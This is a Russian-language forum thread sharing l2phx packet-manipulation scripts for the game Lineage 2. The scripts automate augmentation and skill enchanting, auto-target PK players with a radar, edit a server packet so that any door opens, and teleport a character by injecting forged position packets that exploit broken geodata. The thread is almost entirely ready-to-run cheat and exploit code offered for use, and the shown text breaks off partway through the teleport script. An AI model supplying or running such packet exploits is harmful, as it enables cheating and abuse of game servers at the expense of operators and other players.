Скрипты для l2phx

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
1. Скрипт для Аугментация в одно нажатие, работает на любых версиях.
Код:
HTML:
const
  Name='Mamy'; // ник
  ItemID=6608; // пуха
  LifeID=8762; // лайфстон
  GemsID=2131; // гемстон
  GemsAmount=25; //кол-во гемов
  max=100;  // инвентарь
var
 LifeBase:array[1..max] of integer;    
 ColvoLife,ColvoGems,Life,Item,Gems,SocialID,augid:integer;
procedure Init;
var i:integer;
begin
 buf:=hstr('0F');
 SendToServerEx(Name);
end;
procedure Free;
var i:integer;
begin
 for i:=1 to max do
  LifeBase[i]:=0;
end;
function StrToHex(packet: string):string;
var
  i:integer;
  tmp:byte;
  function ByteToHex(b: byte): Char;
  begin
    if b<10 then result:=chr(b+$30)
      else result:=chr(b+$37);
  end;
begin
  result:='';
  for i:=1 to length(packet) do begin
    tmp:=ord(packet[i]) div 16;
    result:=result+ByteToHex(tmp);
    tmp:=ord(packet[i]) - tmp*16;
    result:=result+ByteToHex(tmp)+' ';
  end;
end;
function inttohex(n:integer):string;
var i:integer;
    t:string;
    a:array[0..15] of char;
begin
 a[0]:='0';
 a[1]:='1';
 a[2]:='2';
 a[3]:='3';
 a[4]:='4';
 a[5]:='5';
 a[6]:='6';
 a[7]:='7';
 a[8]:='8';
 a[9]:='9';
 a[10]:='A';
 a[11]:='B';
 a[12]:='C';
 a[13]:='D';
 a[14]:='E';
 a[15]:='F';
 result:='';
 t:='';
 i:=0;
 while n<>0 do begin
  if (i mod 2=0)and(i>0) then begin
   result:=result+t+' ';
   t:='';
  end;
  t:=a[n mod 16]+t;
  n:=n div 16;
  inc(i);
 end;
 result:=result+t;
end;
procedure Say;
var i:integer;
    s:string;
begin
  s:='<tr><td>LS='+inttostr(ColvoLife)+' (*'+inttostr(GemsAmount)+'='+inttostr(ColvoLife*GemsAmount)+')</td></tr>';
  s:=s+'<tr><td>Gems='+inttostr(ColvoGems)+' (/'+inttostr(GemsAmount)+'='+inttostr(ColvoGems div GemsAmount)+')</td></tr>';
  s:=s+'<tr><td>---</td></tr>';
  if Item=0 then
   s:=s+'<tr><td>No Weapon</td></tr>'
  else if augid>0 then
   s:=s+'<tr><td>Augmented ('+inttohex(augid)+')</td></tr>'
  else
   s:=s+'<tr><td>Not augmented</td></tr>';
  buf:=hstr('0F 01 00 00 00');
  WriteS('<html><body><br><table width=100%>'+s+'</table><br><br><br><br><br><br>'+
   '"Social Yes" - Cancel Augment(if augmented) and Augment(if you have enough gems and LSs)<br>'+
   '"Social No" - Show this help<br><br>'+
   'Sometimes client dont get packet InventoryUpdate and you see "Not augment" when weapon is augmented.'+
   ' Simply press [Tab] twice or wear weapon.<br><br>'+
   '(c) raid aka Mamy</body></html>');
//   '(c) raid aka Mamy<br>'+strtohex(pck)+'</body></html>');
  WriteD(0);
  SendToClientEx(Name);
end;
procedure CreateItemBase; 
var i,ss,j,ObjID,ItmID,ListCount,count,aug:integer;
begin
  Item:=0;
  ss:=1;
  j:=4; 
  ListCount:=ReadH(j); 
  if ListCount>max then ListCount:=max;
  j:=8; 
  for i:=1 to ListCount do begin
     ObjID:=ReadD(j);    
     ItmID:=ReadD(j);    
     Count:=ReadD(j);
     j:=j+14;
     aug:=ReadD(j);
     case ItmID of
        LifeID: begin
            LifeBase[ss]:=ObjID;
            inc(ss);
        end;
        ItemID: begin
            Item:=ObjID;
            augid:=aug;
        end;
        GemsID: begin
            Gems:=ObjID;
            ColvoGems:=Count;
        end;
     end;
    j:=j+6;
  end;
  ColvoLife:=ss-1;
  Say;
end;
procedure UpdateItemBase; 
var i,ii,j,ObjID,ItmID,ListCount,Count,UpdType,aug: integer;
begin
  ListCount:=ReadH(2);
  j:=4;
  for i:=1 to ListCount do begin
    UpdType:=ReadH(j);
    j:=j+2;
    ObjID:=ReadD(j);
    ItmID:=ReadD(j);
    Count:=ReadD(j);
    j:=j+14;
    aug:=ReadD(j);
    case UpdType of
      1:case ItmID of
          ItemID: begin
            Item:=ObjID;
            augid:=aug;
          end;
          LifeID: begin
            for ii:=1 to max do
             if LifeBase[ii]=0 then begin
              LifeBase[ii]:=ObjID;
              ColvoLife:=ColvoLife+1;
              break;
             end;
          end;
        GemsID: begin
            Gems:=ObjID;
            ColvoGems:=Count;
        end;
      end;
      2:case ItmID of
        ItemID: begin
          Item:=ObjID;
          augid:=aug;
        end;
        GemsID: begin
            Gems:=ObjID;
            ColvoGems:=Count;
        end;
      end;
      3:case ItmID of
        ItemID:
          Item:=0;
        GemsID: begin
            Gems:=ObjID;
            ColvoGems:=Count;
        end;
        LifeID: begin
          for ii:=1 to max do
            if LifeBase[ii]=ObjID then begin
             LifeBase[ii]:=0;
             ColvoLife:=ColvoLife-1;
            end;
        end;
      end;
    end;
    j:=j+6;
  end;
 Say;
end;
function GetNextLife: integer;
var i:integer;
begin
  Result:=-1;
  for i:=1 to max do begin
    if (LifeBase[i]<>0) then begin
      Result:=LifeBase[i];
      exit;
    end;
  end;
end;
procedure Augment;
begin
 buf:=hstr('D0 29 00');
 WriteD(Item);
 SendToServerEx(Name);
 delay(100);
 buf:=hstr('D0 2A 00');
 WriteD(Item);
 WriteD(Life);
 SendToServerEx(Name);
 delay(100);
 buf:=hstr('D0 2B 00');
 WriteD(Item);
 WriteD(Life);
 WriteD(Gems);
 WriteD(GemsAmount);
 SendToServerEx(Name);
 delay(100);
 buf:=hstr('D0 2C 00');
 WriteD(Item);
 WriteD(Life);
 WriteD(Gems);
 WriteD(GemsAmount);
 SendToServerEx(Name);
end;
procedure DisAugment;
begin
 buf:=hstr('D0 2D 00');
 WriteD(Item);
 SendToServerEx(Name);
 buf:=hstr('D0 2E 00');
 WriteD(Item);
 SendToServerEx(Name);
end;
begin
  if pck='' then exit;
  if FromClient and (ConnectName=Name) and (pck[1]=#$1B) then begin
    SocialID:=ReadD(2);
   pck:='';
    case SocialID of
      7: begin
 buf:=hstr('A7 2A A0 00 00 80 84 1E 00 0A 00 00 00 00 00 00 00 00 00 00 00');
 SendToServerEx(Name);
 buf:=hstr('A7 29 A0 00 00 40 0D 03 00 FA 00 00 00 00 00 00 00 00 00 00');
 SendToServerEx(Name);

        exit;
       end;
      6: begin
       if augid>0 then begin
        DisAugment;
        delay(300);
       end;
       Life:=GetNextLife;
       if (Life=-1)or(ColvoGems<GemsAmount)or(ColvoLife<1) then
        exit;
       Augment;
       exit;
      end;
      5: begin
       Say;
       exit;
      end;
    end;
  end;
  if FromServer then
  case pck[1] of
    #$1B: CreateItemBase; 
    #$27: UpdateItemBase; 
  end;
end.
 
Последнее редактирование:

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
2. Скрипт на Авто-таргет ПК, тестилось на L2J и L2F серверах
Код:


HTML:
Const UserName=('онатоле');
var
ObjectID, KarmaPK, TargetPK, MessagePK, ClassPK, i, x, y, z, TempPK: Integer;
NamePK, CvarPK : String;
ClassName: TStringList;
procedure Init;
begin
MessagePK:=1;
TargetPK:=0;
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS('PK Scanner for Gracia 1.5 by Furious, metalFan');
SendToClientEx(UserName);
ClassName :=TStringList.Create;
ClassName.LoadFromFile('ClassName.ini');
end;
procedure Free;
begin
ClassName.free;
end;
procedure OnConnect(WithClient: Boolean);
begin
end;
procedure OnDisonnect(WithClient: Boolean);
begin
end;
procedure MessageSend(Msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(Msg);
SendToClientEx(UserName);
end;
procedure TargetingPK(ObjectID: Integer);
begin
if TargetPK=1 then begin
buf:=#$1F;
WriteD(ObjectID); WriteD(0); Writed(0); Writed(0); WriteC(0);
SendToServerEx(UserName); end;
end;
procedure KillRadar;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(0);
WriteD(0);
WriteD(0);
SendToClientEx(UserName);
end;
function GetClassName(CID : integer) : string;
begin
result:=ClassName.Strings[CID];
end;
begin
if (FromServer) and (ConnectName=UserName) and (pck[1]=#$31) then
begin
x:=ReadD(2);
y:=ReadD(6);
z:=ReadD(10);
i:=22;
NamePK:=ReadS(i);
ClassPK:=ReadD(i+8);
KarmaPK:=ReadD(i+176);
if (KarmaPK>0) then
begin
ObjectID:=ReadD(18);
TargetingPK(ObjectID);
if MessagePK=1 then begin MessageSend(''+NamePK+' | '+GetClassName(ClassPK)+' | '+IntToStr(KarmaPK)+) end;
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(X);
WriteD(Y);
WriteD(Z);
SendToClientEx(UserName);
end;
end;
if (FromServer) and (ConnectName=UserName) and (pck[1]=#$08) then begin
TempPK:=ReadD(2);
case TempPK of ObjectID:
KillRadar;
end;
end;
if (FromClient) and (ConnectName=UserName) and (pck[1]=#$49) then
begin
CvarPK:=ReadS(2);
case CvarPK of
'\start':
begin
TargetPK:=1;
MessageSend('Search On!');
pck:='';
end;
'\stop':
begin
TargetPK:=0;
MessageSend('Stopped all services!');
pck:='';
end;
'\radar':
begin
MessageSend('Radar Killed');
KillRadar;
pck:='';
end;
end;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
3. Скрипт позволяющий открывать любые двери в мире Lineage 2

HTML:
begin
if fromserver and (pck[1]=#$9F) then pck[22]:=#$00;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
4. Скрипт на авто-заточку скиллов.
Код:
HTML:
const
   nik='xxxxx';
   Enchant=13;

var
   SubID, SkillID, SkillLvl, CurrEnch: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin
 CurrEnch:=0;
end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
    if FromServer and (pck[1]=#$62) then case pck[2] of
        #$A0:   //точнулся
                if CurrEnch<Enchant then
                   begin
                     CurrEnch:=CurrEnch+1;
                     Buf:=#$D0;
                     WriteH(SubID);
                     WriteD(SkillID);
                     WriteD(SkillLvl+CurrEnch);
                     SendToServerEx(nik);
                   end;
        #$A1:   //не точнулся
             begin
                     CurrEnch:=1;

                     Buf:=#$D0;
                     WriteH(SubID);
                     WriteD(SkillID);
                     WriteD(SkillLvl+CurrEnch);
                     SendToServerEx(nik);

             end;
    end;

    if FromClient and (pck[1]=#$D0) then
        begin
           SubID:=ReadH(2);
           SkillID:=ReadD(4);
           SkillLvl:=ReadD(8)-1;
           CurrEnch:=1;
        end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт на телепортацию 1.Выделяем себя 2.пишем .XXX где XXX город или место(подробней в скрипте) 3.после тп юзаем любой скилл (Dush, Shield...)
Данный скрипт для интерлюда! (там где кривая геодата)
Код:
HTML:
//Включить скрипт
//Взять себя в таргет
//ну и тп куда хочешь
//После того как тпшнулся нужна сделать какойто скилл..потому что ты для сервера еще на старом месте.   

{Команды скрипта}
//******************===Квест на Валакаса===********************************
//.klein-телепорт к klein
//.hilda-телепорт к hilda
//.kgb-телепорт на поле для Vaculite Ore

//******************===Квест на Антараса===********************************
//.gabrielle-телепорт к Gabrielle
//.kaiena-телепорт к Kaiena
//.marsh-Поляна для дропа (Marsh Drake,Marsh Gargoyle)
//.chakiris-телепорт к Chakiris
//.hamrut-телепорт к Hamrut и Kranrot
//.orven-телпорт к Orven
//.bloody-телепорт к Blood Queen(Seal of Shilen)
//.kendra-телепорт к Kendra
//.harit-телепорт к Harit Lizardman (Matriarch & Shaman)
//.helton-телепорт к Helton
//.jewel2-телепорт к Abyss Jewel 2
//.moke-телепорт к Moke
//.jewel1-телепорт к Abyss Jewel 1
//.gilmore-телепорт к Gilmore
//.theodric-телепорт к Theodric тамже Cave Maiden и Cave Keeper

//******************===Квест на Баюма===********************************
//.hanellin-телепорт к Hanellin
//.lesser giant-телепорт к lesser giant
//.claudia-телепорт к Claudia Athebalt
//.martien-телепорт к Martien
//.harne-телепорт к Harne
//.sunduk1-телепорт к Holy Ark of Secrecy2 (Cemetry)
//.sunduk2-телепорт к Holy Ark of Secrecy3 (Tanor Canyon)
//.ark guard-телепорт к Ark Guard's Corspe (Сначало с ним говорим потом с сундуком)
//.sunduk3-телепорт к Holy Ark of Secrecy1 (Dark Forest)
//.healing-телепорт к Grocery Продавца (Healing Potion & Antidote)
//.treapka-телепорт к мобам (Platinum Tribe Shaman & Overlord)

//******************===ГОРОДА===********************************
//.gludio - телепорт в глудио
//.goddard - телепорт в годдард
//.aden   - телепорт в аден
//.giran - телепорт в гиран
//.rune - телепорт в Руну
//.oren - телепорт в орен
//.heine - телепорт в Хейн
//.dion - телепорт в дион
//.schuttgart - телепорт в шутгарт
//.gludin - телепорт в глудин

//******************===ЗАМКИ===*********************************
//.adencastle - Aden Замок (ТРОН)
//.runecastle - Rune Замок (ТРОН)
//.goddardcastle - Goddard Замок (ТРОН)
//.girancastle - Giran Замок (ТРОН)
//.orencastle - Oren Замок (ТРОН)
//.gludiocastle - Gludio Замок  (ТРОН)
//.dioncastle - Dion Замок  (ТРОН)
//.schuttgartcastle - Шутгарт Замок  (ТРОН)
//.innadrilcastle - Innadril Замок  (ТРОН)

//******************===ЛОКАЦИИ===*******************************
//.dino - телепорт на дино остров
//.vos - телепорт в Valey OF Saints
//.varka - телепорт в Varka
//.mos - телепорт в Monastery Of Silence
//.ketra - телепорт в Ketra Ork

//*****************===РЭЙД БОССЫ===*****************************
//.aq - телепорт к Ант Квин
//.zaken - телепорт к Закену
//.baium - телепорт к Баюму
//.antharas - телепорт к Антарасу
//.valakas - телепорт к Валакасу
//.frintezza - телепорт к Фринтеза

//*****************===ДРУГИЕ МЕСТА===*****************************
//.olympiad   - телепорт на арену
//.jail   - телепорт в тюрьму 
//.adencrest - телепорт на верхушку креста адена
//.vodopad  - телепорт на водопад 
//.coliseum - телепорт в колизей
//.farm-телепорт в Фарм Зону(Lineage2.gh-nt.ru)

//*****************===Noblesse Quest===*****************************
//.talien - Телепорт к Talien
//.gabrielle - Телепорт к Gabrielle
//.gilmore - Телепорт к Gilmore
//.baraham - Телепорт к Baraham
//.melodymaestro - Телепорт к MelodyMaestro
//.marluk - Телепорт в локацию (Marluk Succubus)
//.stedmiel - Телепорт к Stedmiel
//.virgil - Телепорт к Virgil ( Kasandra прямо рядом с ним)
//.rahorakti - Телепорт к Rahorakti
//.splinterstakato - Телепорт в локацию Crimson Moss
//.caradine - Телепорт к Caradine
//.noel - Телепорт к Noel
//.mdk - Телепорт к Mysterious Dark Knight
//.kalis - Телепорт к Kalis
//.matild - Телепорт к Matild
//.unicorn - Телепорт к Unicorn
//.jp Телепорт в локацию Judge & Pilgrim (ring and neklasse)
//.noblrb - телепорт к Ноблесс Рэйд Боссу
//.ladd - телепорт в Ivory Tower(К магистру Ladd)
const
//======================================
Name='UniSoul'; //**<-----Ник Персонажа-=
//======================================
var
// переменная
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;     
a:integer; b:boolean;  d:integer; f:integer; v:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then 
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
Begin
If fromclient and (pck=#$38#$2E#$00#$6F#$00#$6C#$00#$79#$00#$6D#$00#$70#$00#$69#$00#$61#$00#$64#$00#$00#$00#$00#$00#$00#$00) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ #$F0#$29#$FE#$FF#$C9#$90#$FC#$FF#$02#$F3#$FF#$FF;
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ #$8E#$CE#$FF#$FF#$99#$DF#$01#$00#$D9#$F3#$FF#$FF;
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CE 41 02 00 0E 28 FF FF 57 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3B 02 00 B0 64 00 00 23 F8 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 43 01 00 9E 44 02 00 74 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2A AB 00 00 7E 45 FF FF E7 FC FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('11 28 00 00 12 40 FF FF ED FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 3F 02 00 2C 12 00 00 B1 FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 40 02 00 6E 43 FF FF 21 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1B C7 01 00 C7 36 02 00 02 F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 42 01 00 45 91 00 00 13 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('40 B9 FF FF 65 AB 01 00 45 F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A 56 00 00 60 72 02 00 83 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E0 2E 01 00 31 A9 FD FF 80 FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('39 C5 01 00 09 CD 03 00 F2 FC FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 61 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E2 40 FE FF ED 30 FC FF 5B F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('91 41 01 00 63 D7 00 00 0C FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0B B2 01 00 89 57 03 00 2A F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C 49 00 00 1D 38 02 00 C9 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E 55 01 00 62 D5 FD FF C8 FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 BB FE FF 07 4D 02 00 C8 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6E 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E4 28 00 00 07 A0 FF FF C3 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 72 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FF 41 02 00 A5 0F 00 00 FC 11 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 64 00 6F 00 70 00 61 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 A9 02 00 93 62 01 00 33 07 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D6 18 01 00 39 96 FE FF 74 FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('59 EA 01 00 18 60 FF FF 79 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9D 9F 01 00 0E A9 FE FF 9D F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 3E 02 00 C4 F8 FE FF B9 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 6C 00 69 00 73 00 65 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('46 4A 02 00 8D B6 00 00 B1 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 71 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('96 AB FF FF 5A C5 02 00 9F E9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('10 D8 00 00 20 58 03 00 6E F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D C2 01 00 EF 40 00 00 65 27 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E8 DF FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 43 03 00 14 3D FE FF 99 F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9E A8 02 00 44 A2 FE FF BD EB FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 41 02 00 FA 66 00 00 A4 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 62 00 72 00 69 00 65 00 6C 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3D 01 00 CF 48 02 00 74 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 6C 00 6D 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 1D 01 00 DD CE 01 00 92 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 72 00 61 00 68 00 61 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 53 00 00 70 D0 02 00 F5 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 65 00 6C 00 6F 00 64 00 79 00 6D 00 61 00 65 00 73 00 74 00 72 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC A1 01 00 8D 4F 03 00 F5 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 6C 00 75 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F5 D1 01 00 DD C7 01 00 63 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 74 00 65 00 64 00 6D 00 69 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('44 D4 01 00 D4 2D 01 00 3D F7 FF FF');
SendToClient;
buf:=#$30;
